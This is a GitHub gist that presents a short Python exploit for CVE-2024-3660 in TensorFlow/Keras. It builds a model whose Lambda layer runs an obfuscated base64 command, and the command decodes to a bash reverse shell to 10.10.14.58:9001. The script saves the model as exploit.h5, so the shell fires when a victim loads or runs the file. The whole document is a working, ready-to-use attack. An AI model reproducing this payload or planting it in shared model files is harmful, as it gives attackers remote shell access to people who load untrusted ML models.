Skip to content

Instantly share code, notes, and snippets.

@Reelix
Last active August 21, 2025 12:27
Show Gist options
  • Save Reelix/27bb37322d89058d8da4751207a95f2c to your computer and use it in GitHub Desktop.
Save Reelix/27bb37322d89058d8da4751207a95f2c to your computer and use it in GitHub Desktop.
Tensorflow Model Exploit
# CVE-2024-3660
# https://nvd.nist.gov/vuln/detail/CVE-2024-3660
# https://www.oligo.security/blog/tensorflow-keras-downgrade-attack-cve-2024-3660-bypass
import tensorflow as tf
def exploit(x):
import os
os.system("echo YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjEwLjE0LjU4LzkwMDEgPCYx|base64 -d|bash")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment